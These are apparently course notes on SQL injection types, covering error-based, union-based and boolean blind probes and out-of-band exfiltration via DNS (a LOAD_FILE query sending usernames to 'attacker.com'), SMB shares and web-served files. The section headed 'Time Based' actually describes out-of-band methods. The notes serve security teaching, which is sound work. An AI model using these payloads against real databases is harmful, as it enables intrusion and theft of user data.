> For the complete documentation index, see [llms.txt](https://davidjosearaujo.gitbook.io/notes-mcs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidjosearaujo.gitbook.io/notes-mcs/analysis-and-exploration-of-vulnerabilities/injection/sqli-types.md).

# SQLi types

## In Band (Classic)

Payload is provided and the result is determined directly.

* E.g. user is logged in, data is obtained, and tables are deleted.

In-band means that the result arrives from the same channel used to provide the payload.

As seen previously in the examples.

## In Band - Error Based

Relies on the existence of an error returned by the server.

* Detecting the existence of a SQLi only requires the creation of a syntax error: ‘

Used when the service executes a query but doesn’t provide enough information for directly grabbing the data.

Detection using a single quote: `http://site.com/items.php?id=2`**`’`**

Or extracting data: `id=2`**`OR CAST(NULLIF(CURRENT_USER, ‘admin') AS INT)`**

* If CURRENT\_USER is ‘admin’, NULL is returned and can be CAST to INT.
* If CURRENT\_USER is not ‘admin’, ‘admin’ is returned, and an error is triggered.

## In Band - Union Based

Exploits the UNION operator to extract data from other tables.

Why? A query is restricted to a set of tables before the area where a payload may be injected

```sql
SELECT Users.name,Address.street from Users,Address where
Users.address_id = Address.id and Users.name = $name
```

Payload for $name will use the form: **UNION(SELECT \* from Products)**

* Table **Products** will be brought into the query.

## Blind (Inferential)

Inferential / Blind exploitation occurs when the SQLi still occurs, but its result is not provided to the attacker.

* Because developers blocked debug information.
* Because the vulnerability is a simple query.

The existence of an SQLi is determined by a change in the service behavior.

* Without the existence of an error.
* Without exploiting forms or logins.

## Blind – Content-Based

Detected using payloads with forced Boolean results.

Standard request: `http://site.com/items.php?id=2`

* Always true: `http://site.com/items.php?`**`id=2 and 1=1`**
* Always false: `http://site.com/items.php?`**`id=2 and 1=2`**

If a system is vulnerable requests will yield different results.

* Always true: will return article 2 because **id=2 and True** is equivalent to **id=2**.
* Always false: will fail because **id=2 and False** is always false

## Blind – Time Based

Results in data being exfiltrated from additional channels.

* Data, or the query status is registered in a resource available to the attacker.

### DNS

`SELECT LOAD_FILE(CONCAT('\\', (SELECT username FROM Users), '.attacker.com’));`

* A DNS query will be made to username.attacker.com

### SMB Share

`SELECT * FROM USERS INTO OUTFILE '\host\share\out.txt’`

* A file named out.txt is written to a server controlled by the attacker.

### HTTP Dir

`SELECT * FROM USERS INTO OUTFILE '/var/www/out.txt’`

* File out.txt is written to a directory made available through HTTP.